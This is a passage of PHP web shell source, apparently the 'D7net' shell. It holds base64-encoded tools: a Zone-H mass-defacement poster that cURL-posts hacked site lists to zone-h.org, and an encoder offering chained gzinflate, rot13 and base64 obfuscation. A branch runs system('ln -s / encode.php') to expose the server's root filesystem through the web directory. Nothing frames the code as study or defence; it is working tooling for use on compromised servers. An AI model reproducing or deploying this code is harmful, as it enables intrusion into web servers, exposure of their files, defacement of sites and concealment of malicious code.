M2EzYTt9DQoNCmlucHV0LA0KDQoua2JydG0sc2VsZWN0e2JhY2tncm91bmQ6IzAwMDAwMDtjb2xvcjojZjMwNjA2O2ZvbiB0LWZhbWlseTpWZXJkYW5hLEFyaWFsO2ZvbnQtc2l6ZToxMHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsgaGVpZ2h0OjE4OyBib3JkZXItbGVmdDoxcHggc29saWQgIzVkNWQ1ZDsgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMTIxMjEyOyBib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMTIxMjEyOyBib3JkZXItdG9wOjFweCBzb2xpZCAjNWQ1ZDVkO30NCg0KYnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICM2NjY2NjY7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fQ0KDQpib2R5LHRkLHRoIHsgZm9udC1mYW1pbHk6IHZlcmRhbmE7IGNvbG9yOiAjZDlkOWQ5OyBmb250LXNpemU6IDExcHg7fWJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMzAzMDMwO30NCg0KdGV4dGFyZWEsb3B0aW9ue2JhY2tncm91bmQ6IzMwMzAzMDtjb2xvcjojRkZGRkZGO2Ygb250LWZhbWlseTpWZXJkYW5hLEFyaWFsO2ZvbnQtc2l6ZToxMHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsgYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICMxMjEyMTI7IGJvcmRlci1yaWdodDoxcHggc29saWQgIzVkNWQ1ZDsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzVkNWQ1ZDsgYm9yZGVyLXRvcDoxcHggc29saWQgIzEyMTIxMjt9DQoNCjwvc3R5bGU+DQoNCg0KPHRpdGxlPlpvbmUtSCBNYXNzIERlZmFjZSBNaXJyb3I8L3RpdGxlPg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KDQouc3R5bGUxIHsNCg0KdGV4dC1hbGlnbjogY2VudGVyOw0KDQp9DQoNCi5zdHlsZTIgew0KDQpmb250LXdlaWdodDogYm9sZDsNCg0KfQ0KDQouc3R5bGUzIHsNCg0KZm9udC1zaXplOiBsYXJnZTsNCg0KY29sb3I6ICNGRjAwMDA7DQoNCn0NCg0KZGl2I29wdGlvbiB7DQoNCmJhY2tncm91bmQ6IzMwMzAzMDtjb2xvcjojRkZGRkZGO2ZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7Zm9udC1zaXplOjEwcHg7dmVydGljYWwtYWxpZ246bWlkZGxlOyBib3JkZXItbGVmdDoxcHggc29saWQgIzEyMTIxMjsgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjNWQ1ZDVkOyBib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNWQ1ZDVkOyBib3JkZXItdG9wOjFweCBzb2xpZCAjMTIxMjEyOw0KDQoNCg0KfQ0KDQo8L3N0eWxlPg0KDQo8L2hlYWQ+DQoNCjw/cGhwDQoNCmlmKCRfUE9TVCkgew0KDQokaGFja2VyID0gJF9QT1NUWydkZWZhY2VyJ107DQoNCiRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107DQoNCiRuZWRlbiA9ICRfUE9TVFsncmVhc29uJ107DQoNCiRzaXRlID0gJF9QT1NUWydkb21haW4nXTsNCg0KDQoNCi8vIGJvc211IGRvbHVtdQ0KDQppZiAoJGhhY2tlciA9PSAiIikgew0KDQoNCg0KZGllICgiPGNlbnRlcj5XaGljaCBkaXN0b3J0ZWQgYW5kIHNhaWQgdGhhdCBpZiB0aGUgYW5zd2VyIGlzIHllcywgdHlwZSB0aGUgbmFtZSBvZjxjZW50ZXI+Iik7DQoNCn0NCg0KZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSB7DQoNCmRpZSgiPGNlbnRlcj5NZXRob2QgbXVzdCBiZSB0b2xkPC9jZW50ZXI+Iik7DQoNCn0NCg0KZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpIHsNCg0KDQoNCmRpZSgiPGNlbnRlcj5XaHkgZG8gSSBoYXZlIHRvIHRlbGw8L2NlbnRlcj4iKTsNCg0KfQ0KDQplbHNlaWYoJHNpdGUgPT0gIiIpIHsNCg0KDQoNCmRpZSgiPGNlbnRlcj5SZWdpc3RyYXRpb24gY29udGludWVkIGJyZWFrdGhyb3VnaHMgaW4gdGhlIGxvY2F0aW9ucyBab25lIEggPC9jZW50ZXI+Iik7DQoNCn0NCg0KDQoNCg0KDQokaSA9IDA7DQoNCiRzaXRlcyA9IGV4cGxvZGUoIlxuIiwgJHNpdGUpOw0KDQp3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpIHsNCg0KaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgew0KDQokc2l0ZXNbJGldID0gImh0dHA6Ly8iLiRzaXRlc1skaV07DQoNCg0KDQp9DQoNCg0KDQpwb3N0ZXIoImh0dHA6Ly96b25lLWgub3JnL25vdGlmeS9zaW5nbGUiLCAkaGFja2VyLCAkbWV0aG9kLCAkbmVkZW4sICRzaXRlc1skaV0pOw0KDQoNCg0KKyskaTsNCg0KfQ0KDQplY2hvICI8Y2VudGVyPjxwPlpvbmUtaCBNYXNzIERlZmFjZSBQb3N0ZXI8L3A+PC9jZW50ZXI+IjsNCg0KDQoNCn1lbHNlew0KDQoNCg0KZWNobyAnPGNlbnRlcj4NCg0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCg0KPGRpdiBpZD0ib3B0aW9uIj4NCg0KPHA+RGVmYWNlcjxiciAvPg0KDQo8c3BhbiBjbGFzcz0ib2siPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZhY2VyIiBzaXplPSI0MCIgLz48L3NwYW4+IDwvcD4NCg0KDQoNCjxwPkhvdyB0byBoYWNrIDxiciAvPjxzZWxlY3QgbmFtZT0iaGFja21vZGUiPg0KDQo8b3B0aW9uID5+fiBTRUxFQ1Qgfn48L29wdGlvbj4NCg0KPG9wdGlvbiB2YWx1ZT0iMSI+a25vd24gdnVsbmVyYWJpbGl0eSAoaS5lLiB1bnBhdGNoZWQgc3lzdGVtKTwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIyIiA+dW5kaXNjbG9zZWQgKG5ldykgdnVsbmVyYWJpbGl0eTwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIzIiA+Y29uZmlndXJhdGlvbiAvIGFkbWluLiBtaXN0YWtlPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjQiID5icnV0ZSBmb3JjZSBhdHRhY2s8L29wdGlvbj4NCg0KDQoNCjxvcHRpb24NCg0KdmFsdWU9IjUiID5zb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iNiIgPldlYiBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjciID5XZWIgU2VydmVyIGV4dGVybmFsIG1vZHVsZSBpbnRydXNpb248L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iOCIgPk1haWwgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSI5IiA+RlRQIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMTAiID5TU0ggU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KDQoNCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMTEiID5UZWxuZXQgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIxMiIgPlJQQyBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjEzIiA+U2hhcmVzIG1pc2NvbmZpZ3VyYXRpb248L29wdGlvbj4NCg0KPG9wdGlvbg0KDQoNCg0KdmFsdWU9IjE0IiA+T3RoZXIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIxNSIgPlNRTCBJbmplY3Rpb248L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMTYiID5VUkwgUG9pc29uaW5nPC9vcHRpb24+DQoNCg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIxNyIgPkZpbGUgSW5jbHVzaW9uPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjE4IiA+T3RoZXIgV2ViIEFwcGxpY2F0aW9uIGJ1Zzwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIxOSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3MgdGhyb3VnaCBicnV0ZWZvcmNpbmc8L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMjAiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHRocm91Z2ggcGFzc3dvcmQgZ3Vlc3Npbmc8L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMjEiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjIyIiA+QXR0YWNrIGFnYWluc3QgdGhlIGFkbWluaXN0cmF0b3IvdXNlciAocGFzc3dvcmQgc3RlYWxpbmcvc25pZmZpbmcpPC9vcHRpb24+DQoNCg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIyMyIgPkFjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjazwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIyNCIgPlJlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGd1ZXNzaW5nPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjI1IiA+UmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgYnJ1dGVmb3JjZTwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIyNiIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjI3IiA+UmVyb3V0aW5nIGFmdGVyIGF0dGFja2luZyB0aGUgUm91dGVyPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjI4IiA+RE5TIGF0dGFjayB0aHJvdWdoIHNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPg0KDQoNCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMjkiID5ETlMgYXR0YWNrIHRocm91Z2ggY2FjaGUgcG9pc29uaW5nPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0KDQo8L3NlbGVjdD48L3A+DQoNCjxwPiBDYXVzZSBvZiBoYWNrID8gPGJyIC8+PHNlbGVjdCBuYW1lPSJyZWFzb24iPg0KDQoNCg0KPG9wdGlvbiA+fn4gU0VMRUNUIH5+PC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjEiID5IZWguLi5qdXN0IGZvciBmdW4hPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjIiID5SZXZlbmdlIGFnYWluc3QgdGhhdCB3ZWJzaXRlPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjMiID5Qb2xpdGljYWwgcmVhc29uczwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSI0IiA+QXMgYSBjaGFsbGVuZ2U8L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iNSIgPkkganVzdCB3YW50IHRvIGJlIHRoZSBiZXN0IGRlZmFjZXI8L29wdGlvbj4NCg0KDQoNCjxvcHRpb24NCg0KdmFsdWU9IjYiID5QYXRyaW90aXNtPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjciID5Ob3QgYXZhaWxhYmxlPC9vcHRpb24+DQoNCjwvc2VsZWN0PiA8L3A+DQoNCg0KDQo8cD5TaXRlcyA8YnIgLz4NCg0KPHNwYW4gY2xhc3M9ImZ1ciI+UHV0IGFsbCB0aGUgc2l0ZXMgb24gdGhlIHNlcnZlcjwvc3Bhbj48YnIgLz4NCg0KPHNwYW4gY2xhc3M9IiI+PHRleHRhcmVhIG5hbWU9ImRvbWFpbiIgY29scz0iNDMiIHJvd3M9IjE3Ij48L3RleHRhcmVhPjwvc3Bhbj4gPC9wPg0KDQo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VuZCIgLz4NCg0KPC9mb3JtPg0KDQoNCjxicj4NCg0KPC9kaXY+DQoNCjwvY2VudGVyPic7DQoNCg0KDQp9DQoNCg0KDQpmdW5jdGlvbiBwb3N0ZXIoJHVybCwgJGhhY2tlciwgJGhhY2ttb2RlLCRyZXNvbiwgJHNpdGUgKQ0KDQp7DQoNCg0KDQokayA9IGN1cmxfaW5pdCgpOw0KDQpjdXJsX3NldG9wdCgkaywgQ1VSTE9QVF9VUkwsICR1cmwpOw0KDQpjdXJsX3NldG9wdCgkayxDVVJMT1BUX1BPU1QsdHJ1ZSk7DQoNCmN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1BPU1RGSUVMRFMsImRlZmFjZXI9Ii4kaGFja2VyLiImZG9tYWluMT0iLiAkc2l0ZS4iJmhhY2ttb2RlPSIuJGhhY2ttb2RlLiImcmVhc29uPSIuJHJlc29uKTsNCg0KY3VybF9zZXRvcHQoJGssQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7DQoNCmN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCg0KDQoNCiRrdWJyYSA9IGN1cmxfZXhlYygkayk7DQoNCmN1cmxfY2xvc2UoJGspOw0KDQpyZXR1cm4gJGt1YnJhOw0KDQp9DQoNCg0KDQo/Pg0K';
  1173.             $file = fopen("zone-h.php","w+"); $write = fwrite ($file ,base64_decode($d7)); $file = fopen("/","zone-h.php");
  1174.             $rt="<br><a href=zone-h.php TARGET='_blank'>";
  1175.     echo "<br><br><br><a class='d7net_table' href=zone-h.php TARGET='_blank'><b>view click here!</a></b><br><br>$rt</center>";} echo "</form>";
  1176.  
  1177. } elseif($_GET['D7net'] == 'encode') {
  1178.     echo "<form method='POST' action=''>";
  1179.     echo "<center><br><font size='6'>Encode/Decode</font><br><br>";
  1180.     echo "<center><input type='submit' class='d7net_table' value='Click Here!' name='d7encode'></center>";
  1181.         if (isset($_POST['d7encode'])){ system('ln -s / encode.php');           $d7encode='PD9waHAgDQpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IA0KQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQokdGV4dCA9ICRfUE9TVFsnbWJ1dHQnXTsNCj8+DQo8dGl0bGU+VG9vbHMgQXV0byBFbmNvZGVkL0RlY29kZWQ8L3RpdGxlPg0KPGJvZHkgPg0KPFNUWUxFPg0KYm9keSx0ZCx0aCB7YmFja2dyb3VuZDojMDAwMDAwO107YmFja2dyb3VuZDojMDAwMDAwO2JhY2tncm91bmQtc2l6ZToxMDAlOw0KYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtmb250LWZhbWlseTogVmVyZGFuYTtmb250LXNpemU6IDEycHg7Y29sb3I6ICMwMDAwMDA7Zm9udC13ZWlnaHQ6IGJvbGQ7DQpiYWNrZ3JvdW5kLWF0dGFjaG1lbnQ6Zml4ZWQ7fQ0KPC9TVFlMRT4NCiAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiBib2R5IHsNCiAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCIuLi93YWxscGFwZXJjYXZlLmNvbS93cC8yaUZXcXdhLmpwZyIpOw0KICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0Ow0KICBiYWNrZ3JvdW5kLWF0dGFjaG1lbnQ6IGZpeGVkOw0KICBiYWNrZ3JvdW5kLXNpemU6IGNvdmVyOw0KICBjdXJzb3I6IHVybCgnLi4vd3d3LnpvbmUtaC5vcmcvaW1hZ2VzL3N0YXIuZ2lmJyksZGVmYXVsdDsNCiAgYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7DQp9DQogYm9keSB7DQogIHRleHQtc2hhZG93OiAwcHggMHB4IDRweDsNCiAgZm9udDogOTkgNzBweC8wLjkgJ1J1c3NvIE9uZScsIHBhcHlydXM7DQp9DQogICAgaDIgew0KICB0ZXh0LXNoYWRvdzogMHB4IDBweCA0cHg7DQogIGZvbnQ6IDk5IDYwcHgvMC45ICdTYXRpc2Z5JywgcGFweXJ1czsNCn0NCiAgICBoMyB7DQogIHRleHQtc2hhZG93OiAwcHggMHB4IDRweDsNCiAgZm9udDogOTAgNzBweC8wLjkgJ1Rla28nLCBwYXB5cnVzOw0KfQ0KICAgIGEgew0KICB0ZXh0LXNoYWRvdzogMHB4IDBweCA0cHg7DQogIGZvbnQ6IDkwIDcwcHgvMC45ICdTYXRpc2Z5JywgcGFweXJ1czsNCn0NCiAgICBhOmhvdmVyIHsNCiAgdGV4dC1zaGFkb3c6IDBweCAwcHggNHB4Ow0KICBmb250OiA5OSA5MHB4LzAuOSAnU2F0aXNmeScsIHBhcHlydXM7DQp9DQogIA0KICBALW1vei1rZXlmcmFtZXMgc2JsaW5rZXIgeyAgDQogMCUgeyAtd2Via2l0LWZpbHRlcjogYmx1cig1cHgpOw0KLW1vei1maWx0ZXI6IGJsdXIoNXB4KTsNCi1vLWZpbHRlcjogYmx1cig1cHgpOw0KLW1zLWZpbHRlcjogYmx1cig1cHgpOw0KZmlsdGVyOiBibHVyKDVweCk7IH0gDQogICAgMjUlIHsgLXdlYmtpdC1maWx0ZXI6IGJsdXIoM3B4KTsNCi1tb3otZmlsdGVyOiBibHVyKDNweCk7DQotby1maWx0ZXI6IGJsdXIoM3B4KTsNCi1tcy1maWx0ZXI6IGJsdXIoM3B4KTsNCmZpbHRlcjogYmx1cigzcHgpOyB9DQo1MCUgeyAtd2Via2l0LWZpbHRlcjogYmx1cigzcHgpOw0KLW1vei1maWx0ZXI6IGJsdXIoM3B4KTsNCi1vLWZpbHRlcjogYmx1cigzcHgpOw0KLW1zLWZpbHRlcjogYmx1cigzcHgpOw0KZmlsdGVyOiBibHVyKDBweCk7IH0NCjc1JSB7IC13ZWJraXQtZmlsdGVyOiBibHVyKDNweCk7DQotbW96LWZpbHRlcjogYmx1cigzcHgpOw0KLW8tZmlsdGVyOiBibHVyKDNweCk7DQotbXMtZmlsdGVyOiBibHVyKDNweCk7DQpmaWx0ZXI6IGJsdXIoM3B4KTsgfQ0KICAgIDEwMCUgeyAtd2Via2l0LWZpbHRlcjogYmx1cigxcHgpOw0KLW1vei1maWx0ZXI6IGJsdXIoMXB4KTsNCi1vLWZpbHRlcjogYmx1cigxcHgpOw0KLW1zLWZpbHRlcjogYmx1cigxcHgpOw0KZmlsdGVyOiBibHVyKDVweCk7IH0NCn0NCg0KQC13ZWJraXQta2V5ZnJhbWVzIHNibGlua2VyIHsgIA0KIDAlIHsgLXdlYmtpdC1maWx0ZXI6IGJsdXIoNXB4KTsNCi1tb3otZmlsdGVyOiBibHVyKDVweCk7DQotby1maWx0ZXI6IGJsdXIoNXB4KTsNCi1tcy1maWx0ZXI6IGJsdXIoNXB4KTsNCmZpbHRlcjogYmx1cig1cHgpOyB9IA0KICAgIDI1JSB7IC13ZWJraXQtZmlsdGVyOiBibHVyKDNweCk7DQotbW96LWZpbHRlcjogYmx1cigzcHgpOw0KLW8tZmlsdGVyOiBibHVyKDNweCk7DQotbXMtZmlsdGVyOiBibHVyKDNweCk7DQpmaWx0ZXI6IGJsdXIoM3B4KTsgfQ0KNTAlIHsgLXdlYmtpdC1maWx0ZXI6IGJsdXIoM3B4KTsNCi1tb3otZmlsdGVyOiBibHVyKDNweCk7DQotby1maWx0ZXI6IGJsdXIoM3B4KTsNCi1tcy1maWx0ZXI6IGJsdXIoM3B4KTsNCmZpbHRlcjogYmx1cigwcHgpOyB9DQo3NSUgeyAtd2Via2l0LWZpbHRlcjogYmx1cigzcHgpOw0KLW1vei1maWx0ZXI6IGJsdXIoM3B4KTsNCi1vLWZpbHRlcjogYmx1cigzcHgpOw0KLW1zLWZpbHRlcjogYmx1cigzcHgpOw0KZmlsdGVyOiBibHVyKDNweCk7IH0NCiAgICAxMDAlIHsgLXdlYmtpdC1maWx0ZXI6IGJsdXIoMXB4KTsNCi1tb3otZmlsdGVyOiBibHVyKDFweCk7DQotby1maWx0ZXI6IGJsdXIoMXB4KTsNCi1tcy1maWx0ZXI6IGJsdXIoMXB4KTsNCmZpbHRlcjogYmx1cig1cHgpOyB9DQp9DQoNCkBrZXlmcmFtZXMgc2JsaW5rZXIgeyAgDQogMCUgeyAtd2Via2l0LWZpbHRlcjogYmx1cig1cHgpOw0KLW1vei1maWx0ZXI6IGJsdXIoNXB4KTsNCi1vLWZpbHRlcjogYmx1cig1cHgpOw0KLW1zLWZpbHRlcjogYmx1cig1cHgpOw0KZmlsdGVyOiBibHVyKDVweCk7IH0gDQogICAgMjUlIHsgLXdlYmtpdC1maWx0ZXI6IGJsdXIoM3B4KTsNCi1tb3otZmlsdGVyOiBibHVyKDNweCk7DQotby1maWx0ZXI6IGJsdXIoM3B4KTsNCi1tcy1maWx0ZXI6IGJsdXIoM3B4KTsNCmZpbHRlcjogYmx1cigzcHgpOyB9DQo1MCUgeyAtd2Via2l0LWZpbHRlcjogYmx1cigzcHgpOw0KLW1vei1maWx0ZXI6IGJsdXIoM3B4KTsNCi1vLWZpbHRlcjogYmx1cigzcHgpOw0KLW1zLWZpbHRlcjogYmx1cigzcHgpOw0KZmlsdGVyOiBibHVyKDBweCk7IH0NCjc1JSB7IC13ZWJraXQtZmlsdGVyOiBibHVyKDNweCk7DQotbW96LWZpbHRlcjogYmx1cigzcHgpOw0KLW8tZmlsdGVyOiBibHVyKDNweCk7DQotbXMtZmlsdGVyOiBibHVyKDNweCk7DQpmaWx0ZXI6IGJsdXIoM3B4KTsgfQ0KICAgIDEwMCUgeyAtd2Via2l0LWZpbHRlcjogYmx1cigxcHgpOw0KLW1vei1maWx0ZXI6IGJsdXIoMXB4KTsNCi1vLWZpbHRlcjogYmx1cigxcHgpOw0KLW1zLWZpbHRlcjogYmx1cigxcHgpOw0KZmlsdGVyOiBibHVyKDVweCk7IH0NCn0NCg0KLmJsaW5rX21ley13ZWJraXQtYW5pbWF0aW9uLW5hbWU6YmxpbmtlcjsNCi13ZWJraXQtYW5pbWF0aW9uLWR1cmF0aW9uOjFzOy13ZWJraXQtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjpsaW5lYXI7LXdlYmtpdC1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OmluZmluaXRlOy1tb3otYW5pbWF0aW9uLW5hbWU6YmxpbmtlcjsNCi1tb3otYW5pbWF0aW9uLWR1cmF0aW9uOjFzOy1tb3otYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjpsaW5lYXI7LW1vei1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OmluZmluaXRlO2FuaW1hdGlvbi1uYW1lOmJsaW5rZXI7DQphbmltYXRpb24tZHVyYXRpb246MXM7YW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjpsaW5lYXI7YW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDppbmZpbml0ZTt9QC1tb3ota2V5ZnJhbWVzIGJsaW5rZXIgeyAgDQogICANCg0KIDAlIHsgb3BhY2l0eTogMS4wOw0KICB0ZXh0LXNoYWRvdzowcHggMHB4IDZweCBncmVlbjsgfSA1MCUgeyBvcGFjaXR5OiAwLjA7IH0NCiAgICAxMDAlIHsgb3BhY2l0eTogMS4wOyB9DQp9DQoNCkAtd2Via2l0LWtleWZyYW1lcyBibGlua2VyIHsgIA0KICAgIDAlIHsgb3BhY2l0eTogMS4wOyB9DQogICAgNTAlIHsgb3BhY2l0eTogMC4wOyB9DQogICAgMTAwJSB7IG9wYWNpdHk6IDEuMDsgfQ0KfQ0KDQpAa2V5ZnJhbWVzIGJsaW5rZXIgeyAgDQogICAgMCUgeyBvcGFjaXR5OiAxLjA7DQogIHRleHQtc2hhZG93OjBweCAwcHggMjBweCBncmVlbjsgfQ0KICAgIDUwJSB7IG9wYWNpdHk6IDAuMDsgfQ0KICAgIDEwMCUgeyBvcGFjaXR5OiAxLjA7IH0NCn0NCiAgICANCiAgICANCiAgPC9zdHlsZT4NCiAgPGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9UnVzc28gT25lfFNhdGlzZnl8VGVrbycgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQogIA0KICA8L2hlYWQ+PGJvZHk+PGNlbnRlcj48ZGl2IGNsYXNzPSJzYmx1ciI+PGZvbnQgY29sb3I9IndoaXRlIj4gPHNwYW4gY2xhc3M9ImJsaW5rX21lIj5EN25ldDwvc3Bhbj48L2ZvbnQ+DQogIDxicj48L2JyPg0KIA0KPGNlbnRlcj4NCjxicj4NCjxicj4NCjxmb3JtIG1ldGhvZD0icG9zdCI+PGJyPg0KPHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9MzAgcm93cz01IG5hbWU9Im1idXR0IiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpyZWQ7Ij48L3RleHRhcmVhPjxicj48YnI+DQo8c2VsZWN0IGNsYXNzPSdpbnB1dHonIHNpemU9IjEiIG5hbWU9Im9wZSIgc3R5bGU9ImJhY2tncm91bmQ6Z3JleTtjb2xvcjpibGFjazsiPg0KPG9wdGlvbiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPjxjZW50ZXI+fiBTZWxlY3Qgfjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0idXJsZW5jb2RlIiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPnVybDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iYmFzZTY0IiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPkJhc2U2NDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0idXIiIHN0eWxlPSdiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOmJsYWNrOyc+Y29udmVydF91dTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ianNvbiIgc3R5bGU9J2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6YmxhY2s7Jz5qc29uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJnemluZmxhdGVzIiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPmd6aW5mbGF0ZSAtIGJhc2U2NDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ic3RyMiIgc3R5bGU9J2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6YmxhY2s7Jz5zdHJfcm90MTMgLSBiYXNlNjQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9Imd6aW5mbGF0ZSIgc3R5bGU9J2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6YmxhY2s7Jz5zdHJfcm90MTMgLSBnemluZmxhdGUgLSBiYXNlNjQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9Imd6aW5mbGF0ZXIiIHN0eWxlPSdiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOmJsYWNrOyc+Z3ppbmZsYXRlIC0gc3RyX3JvdDEzIC0gYmFzZTY0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJnemluZmxhdGV4IiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPmd6aW5mbGF0ZSAtIHN0cl9yb3QxMyAtIGd6aW5mbGF0ZSAtIGJhc2U2NDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iZ3ppbmZsYXRldyIgc3R5bGU9J2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6YmxhY2s7Jz5zdHJfcm90MTMgLSBjb252ZXJ0X3V1IC0gdXJsIC0gZ3ppbmZsYXRlIC0gc3RyX3JvdDEzIC0gYmFzZTY0IC0gY29udmVydF91dSAtIGd6aW5mbGF0ZSAtIHVybCAtIHN0cl9yb3QxMyAtIGd6aW5mbGF0ZSAtIGJhc2U2NDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0i